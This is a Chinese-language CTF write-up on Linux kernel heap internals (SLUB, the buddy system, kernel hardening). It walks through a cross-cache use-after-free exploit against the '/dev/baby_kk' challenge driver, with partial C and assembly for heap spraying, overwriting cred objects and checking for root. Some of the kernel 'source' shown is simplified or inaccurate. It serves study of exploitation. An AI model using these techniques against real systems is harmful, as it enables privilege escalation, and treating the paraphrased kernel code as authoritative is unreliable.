内核堆基础 || 羊城杯challenge例题讲解(Cross-Cache UAF)
字数 4585 2025-12-19 12:15:09
内核堆基础与羊城杯Challenge例题讲解(Cross-Cache UAF)
一、现代内核常规保护机制
1. SMEP(Supervisor Mode Execution Protection)
- 作用:防止内核态执行用户态代码
- 绕过方式:采用ROP(Return-Oriented Programming)技术绕过
2. SMAP(Supervisor Mode Access Prevention)
- 作用:防止内核态在没有明确许可情况下访问用户空间内存
- 效果:切断了用户态的数据交互,即不能直接读写用户空间内容
- 绕过方式:使用
copy_from_user和copy_to_user函数,将用户空间数据拷贝到内核空间执行
3. KPTI(Kernel Page Table Isolation)
- 作用:用户空间和内核空间的页表隔离
- 实现机制:
- Linux采用四级页表结构(PGD→PUD→PMD→PTE)
- CR3控制寄存器存储PGD地址
- 内核空间PGD和用户空间PGD两张页全局目录表放在同一段连续内存中
- 通过CR3取反完成切换
- 关键函数:
swapgs_restore_and_return_to_usermode(可通过/proc/kallsyms获取)
4. KASLR(Kernel Address Space Layout Randomization)
- 作用:随机化内核在内存中的加载地址
- 影响:影响内核的装载基址
二、内存分配器层级结构
内存管理层次
物理内存(页级) → 伙伴系统(buddy system) → SLUB分配器(对象级) → kmem_cache(缓存描述符) → kmem_cache_cpu(CPU本地缓存)
1. 伙伴系统(Buddy System)
- 作用:管理物理页(page-level)的分配和释放,以4KB为单位
- 位置:最底层的内存管理机制
- 特点:直接操作物理内存,不关心上层对象类型
2. SLUB分配器(对象级分配)
- 作用:在伙伴系统提供的页上管理特定大小的对象(如
struct cred) - 核心组件:
kmem_cache:全局缓存描述符(管理一种对象类型)kmem_cache_cpu:CPU本地缓存(每个CPU的快速分配层)kmem_cache_node:NUMA节点缓存(管理节点内的内存)
类比理解
- 伙伴系统 = 砖厂(提供砖块,每块砖=4KB页)
- SLUB分配器 = 建筑公司(负责用砖块盖房子)
- kmem_cache = 建筑公司(描述"盖什么房子")
- kmem_cache_cpu = 每个工地的临时仓库(CPU本地缓存)
三、SLUB分配器的核心特性
1. CPU绑定机制
- SLUB分配器优先从当前核心的
kmem_cache_cpu中进行内存分配 - 多核架构中存在多个
kmem_cache_cpu - 简化模型:
kmem_cache_node+kmem_cache_cpu
2. 堆块标志位
GFP_KERNEL与GFP_KERNEL_ACCOUNT是最常见的分配flagGFP_KERNEL_ACCOUNT表示对象与用户空间数据相关联- 版本差异:
- 5.9版本前:存在隔离机制
- 5.9-5.13:取消隔离机制
- 5.14+:重新引入隔离机制
3. SLAB Alias机制
- 作用:对同等/相近大小object的
kmem_cache进行复用 - 实现:当创建
kmem_cache时,若存在能分配相等/近似大小object的kmem_cache,则不会创建新的kmem_cache,而是为原有的建立alias
版本对比
| 内核版本 | cred_jar与kmalloc-192关系 | 原因 |
|---|---|---|
| Linux 4.4之前 | cred_jar是kmalloc-192的alias | 无SLAB_ACCOUNT |
| Linux 5.9之前 | cred_jar与kmalloc-192共享缓存 | GFP_KERNEL_ACCOUNT未启用隔离 |
| Linux 5.14+ | cred_jar与kmalloc-192独立缓存 | GFP_KERNEL_ACCOUNT触发SLAB_ACCOUNT |
四、SLUB分配器链表管理
关键链表结构
| 链表/结构 | 作用 | 位置 | 类比 |
|---|---|---|---|
| 空闲slab链表(kmem_cache_node.free) | 管理完全空闲的slab | kmem_cache_node中 | 仓库的空货架 |
| Partial链表(kmem_cache_node.partial) | 管理部分分配的slab | kmem_cache_node中 | 正在卖货的货架 |
| CPU本地空闲对象链表(kmem_cache_cpu.freelist) | 管理CPU本地缓存的空闲对象 | kmem_cache_cpu中 | 收银台的待售商品 |
| CPU正在使用的slab(kmem_cache_cpu.slab) | 指向当前CPU正在操作的slab | kmem_cache_cpu中 | 当前收银台的货架 |
分配流程
"CPU先看收银台(freelist),没货去货架(partial),货架没货去仓库(free)。"
链表移动方向
空闲slab链表 ← 伙伴系统
部分分配slab链表 ← 空闲slab链表
CPU本地空闲对象链表 ← 部分分配slab链表
源码实现
关键结构体
struct kmem_cache {
struct kmem_cache_node *node[NR_NODE_IDS];
};
struct kmem_cache_node {
struct list_head free; // 空闲slab链表
struct list_head partial; // 部分分配slab链表
unsigned long nr_partial; // partial链表中的slab数量
};
struct kmem_cache_cpu {
struct list_head freelist; // CPU本地空闲对象链表
void *slab; // 当前正在使用的slab
};
分配流程源码
- 尝试CPU本地缓存
void *kmem_cache_alloc(struct kmem_cache *s, gfp_t flags) {
struct kmem_cache_cpu *cpu_cache = this_cpu_ptr(s->cpu_slab);
if (likely(cpu_cache->freelist)) {
object = cpu_cache->freelist;
cpu_cache->freelist = *(void **)object;
return object;
}
// ... 进入slow path
}
- 从partial链表获取新的slab
static void *__slab_alloc(struct kmem_cache *s, gfp_t flags, int node, int allocflags) {
n = get_node(s, node);
if (!list_empty(&n->partial)) {
page = list_first_entry(&n->partial, struct page, lru);
list_del(&page->lru);
n->nr_partial--;
cpu_cache->slab = page;
cpu_cache->freelist = page->freelist;
// ... 分配对象
}
}
- 从free链表获取新slab
if (!list_empty(&n->free)) {
page = list_first_entry(&n->free, struct page, lru);
list_del(&page->lru);
n->nr_free--;
page->freelist = page->objects;
page->inuse = 0;
list_add(&page->lru, &n->partial);
n->nr_partial++;
goto retry;
}
- 申请新slab
if (n->nr_free == 0) {
page = alloc_slab_page(s, flags, node); // 通过伙伴系统
if (!page) return NULL;
page->freelist = page->objects;
page->inuse = 0;
list_add(&page->lru, &n->free);
n->nr_free++;
goto retry;
}
五、NUMA节点管理
NUMA节点结构
struct pglist_data {
struct zone node_zones[MAX_NR_ZONES];
unsigned long node_start_pfn;
unsigned long node_present_pages;
int node_id;
};
节点与kmem_cache_node关联
void *kmem_cache_alloc(struct kmem_cache *s, gfp_t flags) {
int node = numa_node_id(); // 获取当前CPU的NUMA节点ID
struct kmem_cache_node *n = s->node[node]; // 通过node索引到管理单元
// ... 分配逻辑
}
六、高低版本内核差异
Linux 4.4版本
kmem_cache_create的alias逻辑
static struct kmem_cache *kmem_cache_create(const char *name, size_t size,
size_t align, unsigned long flags,
void (*ctor)(void *)) {
if (!(flags & SLAB_ACCOUNT)) {
struct kmem_cache *s = __kmem_cache_alias(name, size, align, flags, ctor);
if (s) return s; // 复用现有缓存
}
return __kmem_cache_create(name, size, align, flags, ctor);
}
__kmem_cache_alias实现
static struct kmem_cache *__kmem_cache_alias(const char *name, size_t size,
size_t align, unsigned long flags,
void (*ctor)(void *)) {
s = find_kmem_cache(size, align);
if (s) {
s->name = name; // 重命名(如cred_jar = kmalloc-192的别名)
return s;
}
return NULL;
}
Linux 5.14+版本
隔离逻辑
static struct kmem_cache *kmem_cache_create(const char *name, size_t size,
size_t align, unsigned long flags,
void (*ctor)(void *)) {
// SLAB_ACCOUNT会强制创建新缓存(不再复用)
if (flags & SLAB_ACCOUNT) {
return __kmem_cache_create(name, size, align, flags, ctor);
}
// ... 原有逻辑
}
cred_jar创建
static struct kmem_cache *cred_jar;
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
0, SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT, NULL);
七、关键对象对比:cred_jar vs kmalloc-192
关系说明
cred_jar和kmalloc-192是两个不同的kmem_cache结构体地址→独立实例cred_jar->node[0]->partial只包含struct cred对象(因SLAB_ACCOUNT隔离)
计算示例
- slab大小:1个页=4096字节
- 对象大小:
sizeof(struct cred)=192字节 - 每个slab的对象数:4096/192≈21.33→21个对象
- 每个slab的总占用:21×192=4032字节
- 剩余空间:64字节(用于管理)
八、完整分配流程图
SLUB分配器流程
graph LR
A[分配请求] --> B{partial链表有slab?}
B -->|是| C[直接分配]
B -->|否| D{full链表有slab?}
D -->|是| E[从full移动到partial]
D -->|否| F{free链表有slab?}
F -->|是| G[从free获取slab]
F -->|否| H[分配新物理页]
E --> C
G --> C
H --> I[新slab加入partial]
包含Buddy System的完整流程
graph LR
A[分配请求] --> B{partial链表有slab?}
B -->|是| C[直接分配]
B -->|否| D{full链表有slab?}
D -->|是| E[从full移动到partial]
D -->|否| F{free链表有slab?}
F -->|是| G[从free获取slab]
F -->|否| H{通过buddy system能找到合适空闲块?}
E --> C
G --> C
H -->|是| I[分割buddy block为所需大小]
H -->|否| J[分配新物理页]
I --> K[剩余部分加入对应大小的buddy链表]
K --> L[新slab加入free链表]
L --> G
J --> M[新slab加入free链表]
M --> G
九、Buddy System详解
Slab调用Buddy System
static struct page *get_new_slab(struct kmem_cache *s, gfp_t flags) {
struct page *page;
page = alloc_page(flags); // ← Buddy System入口
if (!page) return NULL;
init_slab_page(s, page);
return page;
}
Buddy System分配页
struct page *alloc_page(gfp_t flags) {
return __alloc_pages(GFP_KERNEL, 0, 0); // ← 伙伴系统核心
}
关键数据结构
struct zone {
struct free_area free_area[MAX_ORDER];
};
struct free_area {
struct list_head free_list[MIGRATE_TYPES];
unsigned long nr_free;
};
十、SLAB分配器与SLUB关系
设计原则:每页一种类型
安全优势
- 防止提权漏洞:攻击者无法通过
kmalloc(192)直接分配struct cred - 隔离敏感数据:
struct cred不会与普通数据混在一起,避免堆溢出覆盖凭证
内存效率优势
- 减少碎片:同类型对象连续存储,避免碎片
- 优化缓存命中:同类型对象在物理上连续,提高CPU缓存命中率
SLUB与SLAB关系
- SLAB:原始分配器机制名称
- SLUB:SLAB的后继者(类似Windows 95→Windows 10)
物理内存层与逻辑管理层
物理内存层(硬件)
│
├── 页(Page):4KB物理单位(由buddy system管理)
│ └── page->slab_cache指向kmem_cache(管理器)
│ └── page->inuse记录该页中已分配对象数
│
└── slub管理器(kmem_cache):逻辑管理结构
└── 管理多个page(通过full/partial/free链表)
十一、内核对象保护机制
1. Hardened Usercopy
- 作用:在用户空间与内核空间之间拷贝数据时进行越界检查
- 检查内容:
- 读取的数据长度是否超出源object范围
- 写入的数据长度是否超出目的object范围
- 绕过手段:不适用于内核空间内的数据拷贝
2. Hardened Freelist
- 保护前:free object的next指针直接存放next free object地址
- 保护后:next指针存放三个值异或后的值:
- 当前free object地址
- 下一个free object地址
- kmem_cache指定的random值
3. Random Freelist
- 作用:slub allocator向buddy system申请到页框后,object连接顺序随机
- 特点:发生在slub allocator刚从buddy system拿到新slub时
4. CONFIG_INIT_ON_ALLOC_DEFAULT_ON
- 作用:内核进行"堆内存"分配时,将被分配内存内容清零
- 性能损耗:1%~7%之间
十二、羊城杯Challenge例题详解
题目信息
- 保护机制:SMEP+SMAP+KPTI+KASLR
- 设备:/dev/baby_kk
功能分析
全局变量
.bss:0000000000002500 heap_list dq ? // 堆指针数组
.bss:0000000000002508 heap_size dq ? // 堆大小数组
.bss:0000000000002510 heap_offset dq ? // 堆偏移数组
.bss:0000000000002518 heap_inuse db ? // 堆使用状态数组
功能函数
-
add函数(cmd=0x1111)
- 限制:index≤0x4FF,size≤0x100
- 分配大小:256字节(0x100)
- 使用随机化kmalloc缓存选择机制
-
show函数(cmd=0x4444)
- 用于信息泄露
- 读取0x100字节数据
-
delete函数(cmd=0x2222)
- 单纯free,没有清空指针
- 存在UAF漏洞
-
edit函数(cmd=0x3333)
- 从用户态拷贝size字节到heap_list[index]指向的内核地址
- UAF漏洞可利用点
Cross-Cache UAF利用原理
利用思路
- 分配阶段:分配大量同一kmem_cache的附属对象
- 漏洞对象:分配victim对象,与附属对象来自同一SLUB page
- 释放阶段:释放大量附属对象,填满cpu->partial与node->partial
- 回收到Buddy System:最后释放Object Set A、victim、Object Set B,使Page S回到buddy system
- 堆喷:在目标kmem_cache上进行堆喷,从buddy system分配Page S
- 利用UAF:根据漏洞权能进行攻击
关键技术点
- 一个slab至少占用一个page,避免同一页中出现多种类型object
- 通过大量释放使slub全空,满足条件后cache会将全空的slab释放给buddy system
利用步骤
1. 准备工作
#define MAX 0x500
void bind_cpu(int core) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
void save() {
__asm__("mov user_cs,cs; mov user_ss,ss; mov user_sp,rsp; pushf; pop user_rflags;");
}
2. 堆布局
// 大量申请堆块
for(int i=0; i<MAX; i++) {
add(i);
edit(i, 0x100, buf);
}
// 大量释放,使slub对象进入buddy system
for(int i=0; i<MAX; i++) {
delete(i);
}
3. 降低fork噪声
使用特定flag降低clone噪声:
clone_and_check(CLONE_FILES|CLONE_VM|CLONE_SIGHAND|CLONE_FS, check_root);
4. 堆喷cred对象
for(int i=0; i<MAX; i++) {
clone_and_check(CLONE_FILES|CLONE_VM|CLONE_SIGHAND|CLONE_FS, check_root);
}
5. 查找UAF堆块
u64 gid = (u64)getgid();
u64 uid = (u64)getuid();
for(u64 i=0; i < MAX; i++) {
show(buf, 0x10, i);
if(((u64*)buf)[1] == (uid|gid<<32)) {
// 找到UAF的cred对象
edit(((s8*)fake_cred_head), sizeof(fake_cred_head), i);
break;
}
}
6. 提权执行
// 触发管道执行shellcode
for(int i=0; i<MAX; i++) {
write(check_root_pipe[1], "!", 1);
}
关键汇编代码
clone系统调用封装
__attribute__((naked)) int clone_and_check(int flags, void (*fn)(void)) {
__asm__(
"mov r15, rsi;"
"xor rsi, rsi;"
"xor rdx, rdx;"
"xor r10, r10;"
"xor r8, r8;"
"xor r9, r9;"
"mov rax, 56;"
"syscall;"
"cmp rax, 0;"
"jnz ret;"
"jmp r15;"
"ret: ret;"
);
}
提权检查shellcode
__attribute__((naked)) void check_root() {
__asm__(
"mov rdi, [check_root_pipe];"
"lea rsi, check_root_flag;"
"mov rdx, 1;"
"xor rax, rax;"
"syscall;" // read(check_root_pipe[0], check_root_flag, 1)
"mov rax, 102;"
"syscall;" // getuid()
"cmp rax, 0;"
"jz success;"
// ... 成功执行shell
);
}
总结
本文详细分析了内核堆管理机制,重点讲解了SLUB分配器、Buddy System的工作原理,以及Cross-Cache UAF利用技术。通过羊城杯Challenge例题的实际分析,展示了如何利用内核堆漏洞进行提权攻击。关键点包括:
- 理解内核保护机制及其绕过方法
- 掌握SLUB分配器的内存管理流程
- 熟悉Cross-Cache攻击原理
- 实践内核漏洞利用技巧
这种深入的理解对于内核漏洞研究和防护具有重要意义。